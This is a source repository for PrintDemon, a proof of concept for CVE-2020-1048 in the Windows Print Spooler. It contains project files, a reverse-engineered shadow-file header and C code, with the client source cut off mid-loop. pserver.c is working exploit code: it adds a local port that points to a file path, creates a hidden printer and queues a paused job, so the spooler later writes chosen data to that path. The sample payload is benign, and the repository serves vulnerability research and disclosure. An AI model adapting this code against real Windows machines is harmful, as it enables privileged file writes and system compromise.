├── printdemon-cve-2020-1048.pdf
├── README.md
├── LICENSE
├── shdfile4.h
├── printdemon.sln
├── printclient
├── printclient.vcxproj
└── pclient.c
├── .gitignore
└── printserver
├── printserver.vcxproj
└── pserver.c
/printdemon-cve-2020-1048.pdf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ionescu007/PrintDemon/HEAD/printdemon-cve-2020-1048.pdf
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # PrintDemon (CVE-2020-1048)
2 |
3 | PrintDemon is a PoC for a series of issues in the Windows Print Spooler service, as well as potetial misuses of the functionality. Please read https://windows-internals.com/printdemon-cve-2020-1048/ for all of the information.
4 |
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | MIT License
2 |
3 | Copyright (c) 2020 Alex Ionescu
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy
6 | of this software and associated documentation files (the "Software"), to deal
7 | in the Software without restriction, including without limitation the rights
8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 |
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.
22 |
--------------------------------------------------------------------------------
/shdfile4.h:
--------------------------------------------------------------------------------
1 | /*++
2 |
3 | Copyright (C) Alex Ionescu. All rights reserved.
4 | Copyright (C) Microsoft Corporation. All rights reserved.
5 |
6 | Module Name:
7 |
8 | shdfile4.h
9 |
10 | Abstract:
11 |
12 | Contains the definition of SHADOWFILE_4 reverse engineered for Windows 10
13 |
14 | Environment:
15 |
16 | User Mode
17 |
18 | Revision History:
19 |
20 | Added definition for Windows 10 Shadow Files - ionescu007 - 12 May 20
21 |
22 | --*/
23 |
24 | #define SF_SIGNATURE_4 0x5123 /* 'Q#' is the signature value */
25 | #define SF_VERSION_4 4
26 | typedef struct _SHADOWFILE_4
27 | {
28 | DWORD signature;
29 | DWORD HeaderSize;
30 | DWORD Status;
31 | DWORD JobId;
32 | DWORD Priority;
33 | LPWSTR pNotify;
34 | LPWSTR pUser;
35 | LPWSTR pDocument;
36 | LPWSTR pOutputFile;
37 | LPWSTR pPrinterName;
38 | LPWSTR pDriverName;
39 | LPDEVMODE pDevMode;
40 | LPWSTR pPrintProcName;
41 | LPWSTR pDatatype;
42 | LPWSTR pParameters;
43 | SYSTEMTIME Submitted;
44 | DWORD StartTime;
45 | DWORD UntilTime;
46 | DWORD Size;
47 | DWORD cPages;
48 | DWORD cbSecurityDescriptor;
49 | PSECURITY_DESCRIPTOR pSecurityDescriptor;
50 | DWORD NextJobId;
51 | DWORD Version;
52 | DWORD dwReboots;
53 | LPWSTR pMachineName;
54 | DWORD TotalSize;
55 | LPWSTR pUserSid;
56 | LPWSTR pFilePool;
57 | DWORD SizeHigh;
58 | DWORD TotalSizeHigh;
59 | DWORD NamedPropertiesSize;
60 | LPWSTR NamedProperties;
61 | } SHADOWFILE_4, *PSHADOWFILE_4;
62 | #ifdef _M_AMD64
63 | C_ASSERT(sizeof(SHADOWFILE_4) == 0xE0);
64 | #endif
65 |
--------------------------------------------------------------------------------
/printdemon.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio Version 16
4 | VisualStudioVersion = 16.0.29911.98
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "printserver", "printserver\printserver.vcxproj", "{B18A8548-199C-48BF-981B-18B8CA43FA9A}"
7 | EndProject
8 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "printclient", "printclient\printclient.vcxproj", "{26E2F7F8-6626-4F1C-8F23-26BAA7253CB2}"
9 | EndProject
10 | Global
11 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
12 | Debug|x64 = Debug|x64
13 | Debug|x86 = Debug|x86
14 | Release|x64 = Release|x64
15 | Release|x86 = Release|x86
16 | EndGlobalSection
17 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
18 | {B18A8548-199C-48BF-981B-18B8CA43FA9A}.Debug|x64.ActiveCfg = Debug|x64
19 | {B18A8548-199C-48BF-981B-18B8CA43FA9A}.Debug|x64.Build.0 = Debug|x64
20 | {B18A8548-199C-48BF-981B-18B8CA43FA9A}.Debug|x86.ActiveCfg = Debug|Win32
21 | {B18A8548-199C-48BF-981B-18B8CA43FA9A}.Debug|x86.Build.0 = Debug|Win32
22 | {B18A8548-199C-48BF-981B-18B8CA43FA9A}.Release|x64.ActiveCfg = Release|x64
23 | {B18A8548-199C-48BF-981B-18B8CA43FA9A}.Release|x64.Build.0 = Release|x64
24 | {B18A8548-199C-48BF-981B-18B8CA43FA9A}.Release|x86.ActiveCfg = Release|Win32
25 | {B18A8548-199C-48BF-981B-18B8CA43FA9A}.Release|x86.Build.0 = Release|Win32
26 | {26E2F7F8-6626-4F1C-8F23-26BAA7253CB2}.Debug|x64.ActiveCfg = Debug|x64
27 | {26E2F7F8-6626-4F1C-8F23-26BAA7253CB2}.Debug|x64.Build.0 = Debug|x64
28 | {26E2F7F8-6626-4F1C-8F23-26BAA7253CB2}.Debug|x86.ActiveCfg = Debug|Win32
29 | {26E2F7F8-6626-4F1C-8F23-26BAA7253CB2}.Debug|x86.Build.0 = Debug|Win32
30 | {26E2F7F8-6626-4F1C-8F23-26BAA7253CB2}.Release|x64.ActiveCfg = Release|x64
31 | {26E2F7F8-6626-4F1C-8F23-26BAA7253CB2}.Release|x64.Build.0 = Release|x64
32 | {26E2F7F8-6626-4F1C-8F23-26BAA7253CB2}.Release|x86.ActiveCfg = Release|Win32
33 | {26E2F7F8-6626-4F1C-8F23-26BAA7253CB2}.Release|x86.Build.0 = Release|Win32
34 | EndGlobalSection
35 | GlobalSection(SolutionProperties) = preSolution
36 | HideSolutionNode = FALSE
37 | EndGlobalSection
38 | GlobalSection(ExtensibilityGlobals) = postSolution
39 | SolutionGuid = {DB264CF3-973B-40A9-AA22-6BD94600603A}
40 | EndGlobalSection
41 | EndGlobal
42 |
--------------------------------------------------------------------------------
/printclient/printclient.vcxproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | Win32
7 |
8 |
9 | Release
10 | Win32
11 |
12 |
13 | Debug
14 | x64
15 |
16 |
17 | Release
18 | x64
19 |
20 |
21 |
22 | 16.0
23 | Win32Proj
24 | {26e2f7f8-6626-4f1c-8f23-26baa7253cb2}
25 | printclient
26 | 10.0
27 |
28 |
29 |
30 | Application
31 | true
32 | v142
33 | Unicode
34 |
35 |
36 | Application
37 | false
38 | v142
39 | Unicode
40 |
41 |
42 | Application
43 | true
44 | v142
45 | Unicode
46 |
47 |
48 | Application
49 | false
50 | v142
51 | Unicode
52 |
53 |
54 |
55 |
56 |
57 |
58 |
59 |
60 |
61 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 | true
73 |
74 |
75 | true
76 |
77 |
78 | false
79 |
80 |
81 | false
82 |
83 |
84 |
85 | Level3
86 | true
87 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)
88 | true
89 |
90 |
91 | Console
92 | true
93 |
94 |
95 |
96 |
97 | Level3
98 | true
99 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions)
100 | true
101 |
102 |
103 | Console
104 | true
105 |
106 |
107 |
108 |
109 | Level3
110 | true
111 | true
112 | true
113 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
114 | true
115 |
116 |
117 | Console
118 | true
119 | true
120 | true
121 |
122 |
123 |
124 |
125 |
126 |
127 | Level3
128 | true
129 | true
130 | true
131 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
132 | true
133 |
134 |
135 | Console
136 | true
137 | true
138 | true
139 |
140 |
141 |
142 |
143 |
144 |
145 |
146 |
147 |
--------------------------------------------------------------------------------
/.gitignore:
--------------------------------------------------------------------------------
1 | ## Ignore Visual Studio temporary files, build results, and
2 | ## files generated by popular Visual Studio add-ons.
3 | ##
4 | ## Get latest from https://github.com/github/gitignore/blob/master/VisualStudio.gitignore
5 |
6 | # User-specific files
7 | *.rsuser
8 | *.suo
9 | *.user
10 | *.userosscache
11 | *.sln.docstates
12 |
13 | # User-specific files (MonoDevelop/Xamarin Studio)
14 | *.userprefs
15 |
16 | # Mono auto generated files
17 | mono_crash.*
18 |
19 | # Build results
20 | [Dd]ebug/
21 | [Dd]ebugPublic/
22 | [Rr]elease/
23 | [Rr]eleases/
24 | x64/
25 | x86/
26 | [Aa][Rr][Mm]/
27 | [Aa][Rr][Mm]64/
28 | bld/
29 | [Bb]in/
30 | [Oo]bj/
31 | [Ll]og/
32 | [Ll]ogs/
33 |
34 | # Visual Studio 2015/2017 cache/options directory
35 | .vs/
36 | # Uncomment if you have tasks that create the project's static files in wwwroot
37 | #wwwroot/
38 |
39 | # Visual Studio 2017 auto generated files
40 | Generated\ Files/
41 |
42 | # MSTest test Results
43 | [Tt]est[Rr]esult*/
44 | [Bb]uild[Ll]og.*
45 |
46 | # NUnit
47 | *.VisualState.xml
48 | TestResult.xml
49 | nunit-*.xml
50 |
51 | # Build Results of an ATL Project
52 | [Dd]ebugPS/
53 | [Rr]eleasePS/
54 | dlldata.c
55 |
56 | # Benchmark Results
57 | BenchmarkDotNet.Artifacts/
58 |
59 | # .NET Core
60 | project.lock.json
61 | project.fragment.lock.json
62 | artifacts/
63 |
64 | # StyleCop
65 | StyleCopReport.xml
66 |
67 | # Files built by Visual Studio
68 | *_i.c
69 | *_p.c
70 | *_h.h
71 | *.ilk
72 | *.meta
73 | *.obj
74 | *.iobj
75 | *.pch
76 | *.pdb
77 | *.ipdb
78 | *.pgc
79 | *.pgd
80 | *.rsp
81 | *.sbr
82 | *.tlb
83 | *.tli
84 | *.tlh
85 | *.tmp
86 | *.tmp_proj
87 | *_wpftmp.csproj
88 | *.log
89 | *.vspscc
90 | *.vssscc
91 | .builds
92 | *.pidb
93 | *.svclog
94 | *.scc
95 |
96 | # Chutzpah Test files
97 | _Chutzpah*
98 |
99 | # Visual C++ cache files
100 | ipch/
101 | *.aps
102 | *.ncb
103 | *.opendb
104 | *.opensdf
105 | *.sdf
106 | *.cachefile
107 | *.VC.db
108 | *.VC.VC.opendb
109 |
110 | # Visual Studio profiler
111 | *.psess
112 | *.vsp
113 | *.vspx
114 | *.sap
115 |
116 | # Visual Studio Trace Files
117 | *.e2e
118 |
119 | # TFS 2012 Local Workspace
120 | $tf/
121 |
122 | # Guidance Automation Toolkit
123 | *.gpState
124 |
125 | # ReSharper is a .NET coding add-in
126 | _ReSharper*/
127 | *.[Rr]e[Ss]harper
128 | *.DotSettings.user
129 |
130 | # TeamCity is a build add-in
131 | _TeamCity*
132 |
133 | # DotCover is a Code Coverage Tool
134 | *.dotCover
135 |
136 | # AxoCover is a Code Coverage Tool
137 | .axoCover/*
138 | !.axoCover/settings.json
139 |
140 | # Visual Studio code coverage results
141 | *.coverage
142 | *.coveragexml
143 |
144 | # NCrunch
145 | _NCrunch_*
146 | .*crunch*.local.xml
147 | nCrunchTemp_*
148 |
149 | # MightyMoose
150 | *.mm.*
151 | AutoTest.Net/
152 |
153 | # Web workbench (sass)
154 | .sass-cache/
155 |
156 | # Installshield output folder
157 | [Ee]xpress/
158 |
159 | # DocProject is a documentation generator add-in
160 | DocProject/buildhelp/
161 | DocProject/Help/*.HxT
162 | DocProject/Help/*.HxC
163 | DocProject/Help/*.hhc
164 | DocProject/Help/*.hhk
165 | DocProject/Help/*.hhp
166 | DocProject/Help/Html2
167 | DocProject/Help/html
168 |
169 | # Click-Once directory
170 | publish/
171 |
172 | # Publish Web Output
173 | *.[Pp]ublish.xml
174 | *.azurePubxml
175 | # Note: Comment the next line if you want to checkin your web deploy settings,
176 | # but database connection strings (with potential passwords) will be unencrypted
177 | *.pubxml
178 | *.publishproj
179 |
180 | # Microsoft Azure Web App publish settings. Comment the next line if you want to
181 | # checkin your Azure Web App publish settings, but sensitive information contained
182 | # in these scripts will be unencrypted
183 | PublishScripts/
184 |
185 | # NuGet Packages
186 | *.nupkg
187 | # NuGet Symbol Packages
188 | *.snupkg
189 | # The packages folder can be ignored because of Package Restore
190 | **/[Pp]ackages/*
191 | # except build/, which is used as an MSBuild target.
192 | !**/[Pp]ackages/build/
193 | # Uncomment if necessary however generally it will be regenerated when needed
194 | #!**/[Pp]ackages/repositories.config
195 | # NuGet v3's project.json files produces more ignorable files
196 | *.nuget.props
197 | *.nuget.targets
198 |
199 | # Microsoft Azure Build Output
200 | csx/
201 | *.build.csdef
202 |
203 | # Microsoft Azure Emulator
204 | ecf/
205 | rcf/
206 |
207 | # Windows Store app package directories and files
208 | AppPackages/
209 | BundleArtifacts/
210 | Package.StoreAssociation.xml
211 | _pkginfo.txt
212 | *.appx
213 | *.appxbundle
214 | *.appxupload
215 |
216 | # Visual Studio cache files
217 | # files ending in .cache can be ignored
218 | *.[Cc]ache
219 | # but keep track of directories ending in .cache
220 | !?*.[Cc]ache/
221 |
222 | # Others
223 | ClientBin/
224 | ~$*
225 | *~
226 | *.dbmdl
227 | *.dbproj.schemaview
228 | *.jfm
229 | *.pfx
230 | *.publishsettings
231 | orleans.codegen.cs
232 |
233 | # Including strong name files can present a security risk
234 | # (https://github.com/github/gitignore/pull/2483#issue-259490424)
235 | #*.snk
236 |
237 | # Since there are multiple workflows, uncomment next line to ignore bower_components
238 | # (https://github.com/github/gitignore/pull/1529#issuecomment-104372622)
239 | #bower_components/
240 |
241 | # RIA/Silverlight projects
242 | Generated_Code/
243 |
244 | # Backup & report files from converting an old project file
245 | # to a newer Visual Studio version. Backup files are not needed,
246 | # because we have git ;-)
247 | _UpgradeReport_Files/
248 | Backup*/
249 | UpgradeLog*.XML
250 | UpgradeLog*.htm
251 | ServiceFabricBackup/
252 | *.rptproj.bak
253 |
254 | # SQL Server files
255 | *.mdf
256 | *.ldf
257 | *.ndf
258 |
259 | # Business Intelligence projects
260 | *.rdl.data
261 | *.bim.layout
262 | *.bim_*.settings
263 | *.rptproj.rsuser
264 | *- [Bb]ackup.rdl
265 | *- [Bb]ackup ([0-9]).rdl
266 | *- [Bb]ackup ([0-9][0-9]).rdl
267 |
268 | # Microsoft Fakes
269 | FakesAssemblies/
270 |
271 | # GhostDoc plugin setting file
272 | *.GhostDoc.xml
273 |
274 | # Node.js Tools for Visual Studio
275 | .ntvs_analysis.dat
276 | node_modules/
277 |
278 | # Visual Studio 6 build log
279 | *.plg
280 |
281 | # Visual Studio 6 workspace options file
282 | *.opt
283 |
284 | # Visual Studio 6 auto-generated workspace file (contains which files were open etc.)
285 | *.vbw
286 |
287 | # Visual Studio LightSwitch build output
288 | **/*.HTMLClient/GeneratedArtifacts
289 | **/*.DesktopClient/GeneratedArtifacts
290 | **/*.DesktopClient/ModelManifest.xml
291 | **/*.Server/GeneratedArtifacts
292 | **/*.Server/ModelManifest.xml
293 | _Pvt_Extensions
294 |
295 | # Paket dependency manager
296 | .paket/paket.exe
297 | paket-files/
298 |
299 | # FAKE - F# Make
300 | .fake/
301 |
302 | # CodeRush personal settings
303 | .cr/personal
304 |
305 | # Python Tools for Visual Studio (PTVS)
306 | __pycache__/
307 | *.pyc
308 |
309 | # Cake - Uncomment if you are using it
310 | # tools/**
311 | # !tools/packages.config
312 |
313 | # Tabs Studio
314 | *.tss
315 |
316 | # Telerik's JustMock configuration file
317 | *.jmconfig
318 |
319 | # BizTalk build output
320 | *.btp.cs
321 | *.btm.cs
322 | *.odx.cs
323 | *.xsd.cs
324 |
325 | # OpenCover UI analysis results
326 | OpenCover/
327 |
328 | # Azure Stream Analytics local run output
329 | ASALocalRun/
330 |
331 | # MSBuild Binary and Structured Log
332 | *.binlog
333 |
334 | # NVidia Nsight GPU debugger configuration file
335 | *.nvuser
336 |
337 | # MFractors (Xamarin productivity tool) working folder
338 | .mfractor/
339 |
340 | # Local History for Visual Studio
341 | .localhistory/
342 |
343 | # BeatPulse healthcheck temp database
344 | healthchecksdb
345 |
346 | # Backup folder for Package Reference Convert tool in Visual Studio 2017
347 | MigrationBackup/
348 |
349 | # Ionide (cross platform F# VS Code tools) working folder
350 | .ionide/
351 |
--------------------------------------------------------------------------------
/printserver/printserver.vcxproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | Win32
7 |
8 |
9 | Release
10 | Win32
11 |
12 |
13 | Debug
14 | x64
15 |
16 |
17 | Release
18 | x64
19 |
20 |
21 |
22 | 16.0
23 | Win32Proj
24 | {b18a8548-199c-48bf-981b-18b8ca43fa9a}
25 | printploit
26 | 10.0
27 | printserver
28 |
29 |
30 |
31 | Application
32 | true
33 | v142
34 | Unicode
35 |
36 |
37 | Application
38 | false
39 | v142
40 | Unicode
41 |
42 |
43 | Application
44 | true
45 | v142
46 | Unicode
47 |
48 |
49 | Application
50 | false
51 | v142
52 | Unicode
53 |
54 |
55 |
56 |
57 |
58 |
59 |
60 |
61 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 | true
74 |
75 |
76 | false
77 |
78 |
79 | true
80 |
81 |
82 | false
83 |
84 |
85 |
86 | Level3
87 | true
88 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)
89 | true
90 |
91 |
92 | Console
93 | true
94 |
95 |
96 |
97 |
98 | Level3
99 | true
100 | true
101 | true
102 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
103 | true
104 |
105 |
106 | Console
107 | true
108 | true
109 | false
110 |
111 |
112 |
113 |
114 | Level4
115 | true
116 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions)
117 | true
118 | ProgramDatabase
119 | Default
120 | MultiThreadedDebug
121 | true
122 | true
123 |
124 |
125 | Console
126 | true
127 | ws2_32.lib;ntdll.lib;kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;%(AdditionalDependencies)
128 | AsInvoker
129 |
130 |
131 | false
132 |
133 |
134 |
135 |
136 | Level3
137 | true
138 | true
139 | true
140 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
141 | true
142 |
143 |
144 | Console
145 | true
146 | true
147 | false
148 |
149 |
150 |
151 |
152 |
153 |
154 |
155 |
156 |
--------------------------------------------------------------------------------
/printserver/pserver.c:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 |
4 | LPWSTR g_DriverName = L"Generic / Text Only";
5 | LPWSTR g_PortName = L"c:\\windows\\tracing\\demoport.txt";
6 | LPWSTR g_PrinterName = L"PrintDemon";
7 |
8 | INT
9 | main (
10 | _In_ INT ArgumentCount,
11 | _In_ PCHAR Arguments[]
12 | )
13 | {
14 | HRESULT hr;
15 | PRINTER_INFO_2 printerInfo;
16 | HANDLE hPrinter;
17 | HANDLE hMonitor;
18 | BOOL bRes;
19 | DWORD dwNeeded, dwStatus;
20 | PRINTER_DEFAULTS printerDefaults;
21 | DWORD dwExists;
22 | struct
23 | {
24 | ADDJOB_INFO_1 jobInfo;
25 | WCHAR pathString[MAX_PATH];
26 | } job;
27 | BOOL bPrintWithSpooler;
28 | DWORD dwJobId;
29 | PCHAR printerData = "Hello! This is data from your printer :-)";
30 | DOC_INFO_1 docInfo;
31 | HANDLE hSpool;
32 |
33 | //
34 | // Initialize variables
35 | //
36 | UNREFERENCED_PARAMETER(Arguments);
37 | ZeroMemory(&job, sizeof(job));
38 | bPrintWithSpooler = TRUE;
39 | hPrinter = NULL;
40 | hMonitor = NULL;
41 | if (ArgumentCount > 1)
42 | {
43 | bPrintWithSpooler = FALSE;
44 | }
45 |
46 | //
47 | // Open a handle to the XCV port of the local spooler
48 | //
49 | printerDefaults.pDatatype = NULL;
50 | printerDefaults.pDevMode = NULL;
51 | printerDefaults.DesiredAccess = SERVER_ACCESS_ADMINISTER;
52 | bRes = OpenPrinter(L",XcvMonitor Local Port", &hMonitor, &printerDefaults);
53 | if (bRes == FALSE)
54 | {
55 | printf("Error opening XCV handle: %lx\n", GetLastError());
56 | goto CleanupPath;
57 | }
58 |
59 | //
60 | // Check if the target port name already exists
61 | //
62 | dwNeeded = ((DWORD)wcslen(g_PortName) + 1) * sizeof(WCHAR);
63 | dwExists = 0;
64 | bRes = XcvData(hMonitor,
65 | L"PortExists",
66 | (LPBYTE)g_PortName,
67 | dwNeeded,
68 | (LPBYTE)&dwExists,
69 | sizeof(dwExists),
70 | &dwNeeded,
71 | &dwStatus);
72 | if (dwExists == 0)
73 | {
74 | //
75 | // It doesn't, so create it!
76 | //
77 | dwNeeded = ((DWORD)wcslen(g_PortName) + 1) * sizeof(WCHAR);
78 | bRes = XcvData(hMonitor,
79 | L"AddPort",
80 | (LPBYTE)g_PortName,
81 | dwNeeded,
82 | NULL,
83 | 0,
84 | &dwNeeded,
85 | &dwStatus);
86 | if (bRes == FALSE)
87 | {
88 | printf("Failed to add port: %lx\n", dwStatus);
89 | goto CleanupPath;
90 | }
91 | }
92 |
93 | //
94 | // Check if the printer already exists
95 | //
96 | printerDefaults.pDatatype = NULL;
97 | printerDefaults.pDevMode = NULL;
98 | printerDefaults.DesiredAccess = PRINTER_ALL_ACCESS;
99 | bRes = OpenPrinter(g_PrinterName, &hPrinter, &printerDefaults);
100 | if ((bRes == FALSE) && (GetLastError() == ERROR_INVALID_PRINTER_NAME))
101 | {
102 | //
103 | // First, install the generic text only driver. Because this is already
104 | // installed, no privileges are required to do so.
105 | //
106 | hr = InstallPrinterDriverFromPackage(NULL, NULL, g_DriverName, NULL, 0);
107 | if (FAILED(hr))
108 | {
109 | printf("Failed to install print driver: %lx\n", hr);
110 | goto CleanupPath;
111 | }
112 |
113 | //
114 | // Now create a printer to attach to this port
115 | // This data must be valid and match what we created earlier
116 | //
117 | ZeroMemory(&printerInfo, sizeof(printerInfo));
118 | printerInfo.pPortName = g_PortName;
119 | printerInfo.pDriverName = g_DriverName;
120 | printerInfo.pPrinterName = g_PrinterName;
121 |
122 | //
123 | // This data must always be as indicated here
124 | //
125 | printerInfo.pPrintProcessor = L"WinPrint";
126 | printerInfo.pDatatype = L"RAW";
127 |
128 | //
129 | // This part is for fun/to find our printer easily
130 | //
131 | printerInfo.pComment = L"I'd be careful with this one...";
132 | printerInfo.pLocation = L"Inside of an exploit";
133 | printerInfo.Attributes = PRINTER_ATTRIBUTE_RAW_ONLY | PRINTER_ATTRIBUTE_HIDDEN;
134 | printerInfo.AveragePPM = 9001;
135 | hPrinter = AddPrinter(NULL, 2, (LPBYTE)&printerInfo);
136 | if (hPrinter == NULL)
137 | {
138 | printf("Failed to create printer: %lx\n", GetLastError());
139 | goto CleanupPath;
140 | }
141 | }
142 |
143 | //
144 | // Purge the printer of any previous jobs
145 | //
146 | bRes = SetPrinter(hPrinter, 0, NULL, PRINTER_CONTROL_PURGE);
147 | if (bRes == FALSE)
148 | {
149 | printf("Failed to purge jobs: %lx\n", GetLastError());
150 | goto CleanupPath;
151 | }
152 |
153 | //
154 | // Are we printing with GDI, or with the spooler?
155 | //
156 | if (bPrintWithSpooler == TRUE)
157 | {
158 | //
159 | // Manually add a new job
160 | //
161 | bRes = AddJob(hPrinter, 1, (LPBYTE)&job, sizeof(job), &dwNeeded);
162 | if (bRes == FALSE)
163 | {
164 | printf("Failed to add job: %lx\n", GetLastError());
165 | goto CleanupPath;
166 | }
167 |
168 | //
169 | // Save the Job ID
170 | //
171 | dwJobId = job.jobInfo.JobId;
172 | }
173 | else
174 | {
175 | //
176 | // Use the GDI API to start a new print job
177 | //
178 | docInfo.pDatatype = L"RAW";
179 | docInfo.pOutputFile = NULL;
180 | docInfo.pDocName = L"Ignore Me";
181 | dwJobId = StartDocPrinter(hPrinter, 1, (LPBYTE)&docInfo);
182 | }
183 |
184 | //
185 | // Pause it, so it never actually prints
186 | //
187 | printf("[+] Created Job ID: %d\n", dwJobId);
188 | bRes = SetJob(hPrinter, dwJobId, 0, NULL, JOB_CONTROL_PAUSE);
189 | if (bRes == FALSE)
190 | {
191 | printf("[-] Failed to pause job: %lx\n", GetLastError());
192 | goto CleanupPath;
193 | }
194 |
195 | //
196 | // Check if we're manually printing or using the GDI API
197 | //
198 | if (bPrintWithSpooler == TRUE)
199 | {
200 | //
201 | // Open the spooler file
202 | //
203 | printf("[.] Opening spooler job: %S\n", job.jobInfo.Path);
204 | hSpool = CreateFile(job.jobInfo.Path,
205 | GENERIC_WRITE,
206 | 0,
207 | NULL,
208 | CREATE_NEW,
209 | 0,
210 | NULL);
211 | if (hSpool == INVALID_HANDLE_VALUE)
212 | {
213 | printf("[-] Failed to open spooler file: %lx\n", GetLastError());
214 | goto CleanupPath;
215 | }
216 |
217 | //
218 | // Write the data
219 | //
220 | bRes = WriteFile(hSpool,
221 | printerData,
222 | (DWORD)strlen(printerData),
223 | &dwNeeded,
224 | NULL);
225 | if (bRes == FALSE)
226 | {
227 | printf("[-] Failed to write the spooler data: %lx\n", GetLastError());
228 | CloseHandle(hSpool);
229 | goto CleanupPath;
230 | }
231 |
232 | //
233 | // Done with the spooler file and schedule it
234 | //
235 | CloseHandle(hSpool);
236 | ScheduleJob(hPrinter, dwJobId);
237 | }
238 | else
239 | {
240 | //
241 | // Write the data
242 | //
243 | bRes = WritePrinter(hPrinter,
244 | printerData,
245 | (DWORD)strlen(printerData),
246 | &dwNeeded);
247 | if (bRes == FALSE)
248 | {
249 | printf("[-] Failed to write the spooler data: %lx\n", GetLastError());
250 | goto CleanupPath;
251 | }
252 |
253 | //
254 | // Schedule the job for spooling
255 | //
256 | EndDocPrinter(hPrinter);
257 | }
258 |
259 | //
260 | // Wait for the client to read it
261 | //
262 | printf("[+] Launch client... and press ENTER after\n");
263 | getchar();
264 |
265 | CleanupPath:
266 | //
267 | // Now delete the printer and close the handle
268 | //
269 | if (hPrinter != NULL)
270 | {
271 | bRes = DeletePrinter(hPrinter);
272 | if (bRes == FALSE)
273 | {
274 | //
275 | // Non fatal, this is the cleanup path
276 | //
277 | printf("[-] Failed to delete printer: %lx\n", GetLastError());
278 | }
279 | printf("[+] Printer deleted\n");
280 | ClosePrinter(hPrinter);
281 | }
282 |
283 | //
284 | // Cleanup our port
285 | //
286 | if (hMonitor != NULL)
287 | {
288 | dwNeeded = ((DWORD)wcslen(g_PortName) + 1) * sizeof(WCHAR);
289 | bRes = XcvData(hMonitor,
290 | L"DeletePort",
291 | (LPBYTE)g_PortName,
292 | dwNeeded,
293 | NULL,
294 | 0,
295 | &dwNeeded,
296 | &dwStatus);
297 | if (bRes == FALSE)
298 | {
299 | //
300 | // Non fatal, this is the cleanup path
301 | //
302 | printf("[-] Failed to delete port: %lx\n", GetLastError());
303 | }
304 |
305 | //
306 | // Close the monitor port
307 | //
308 | printf("[+] Port deleted\n");
309 | ClosePrinter(hMonitor);
310 | }
311 | return 0;
312 | }
313 |
--------------------------------------------------------------------------------
/printclient/pclient.c:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include "..\shdfile4.h"
4 |
5 | INT
6 | main(
7 | _In_ INT ArgumentCount,
8 | _In_ PCHAR Arguments[]
9 | )
10 | {
11 | PRINTER_DEFAULTS printerDefaults;
12 | BOOL bRes;
13 | HANDLE hPrinter;
14 | PJOB_INFO_4 jobInfo;
15 | DWORD dwNeeded, dwReturned;
16 | PPRINTER_INFO_4 printerInfo, currentInfo;
17 | PPRINTER_INFO_2 printerFullInfo;
18 | LPWSTR printerName;
19 | WCHAR jobName[64];
20 | HANDLE hJob;
21 | DWORD dwError;
22 | PCHAR printerData;
23 | WCHAR spoolDir[MAX_PATH];
24 | SHADOWFILE_4 shadowFileData;
25 | PSHADOWFILE_4 pShadowFileData;
26 |
27 | //
28 | // First see how much space we need
29 | //
30 | dwNeeded = 0;
31 | dwReturned = 0;
32 | bRes = EnumPrinters(PRINTER_ENUM_LOCAL, NULL, 4, NULL, 0, &dwNeeded, &dwReturned);
33 | if ((bRes != FALSE) || (dwNeeded == 0))
34 | {
35 | printf("Error: %lx\n", GetLastError());
36 | return -1;
37 | }
38 |
39 | //
40 | // Allocate it
41 | //
42 | printerInfo = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwNeeded);
43 | if (printerInfo == NULL)
44 | {
45 | printf("Error: %lx\n", GetLastError());
46 | return NULL;
47 | }
48 |
49 | //
50 | // Now enumerate the printer
51 | //
52 | bRes = EnumPrinters(PRINTER_ENUM_LOCAL,
53 | NULL,
54 | 4,
55 | (LPBYTE)printerInfo,
56 | dwNeeded,
57 | &dwNeeded,
58 | &dwReturned);
59 | if (bRes == FALSE)
60 | {
61 | printf("Error: %lx\n", GetLastError());
62 | HeapFree(GetProcessHeap(), 0, printerInfo);
63 | return -1;
64 | }
65 |
66 | //
67 | // Enumerate all the printers
68 | //
69 | printerName = NULL;
70 | currentInfo = printerInfo;
71 | while (dwReturned--)
72 | {
73 | //
74 | // Check for attributes that indicate ours
75 | //
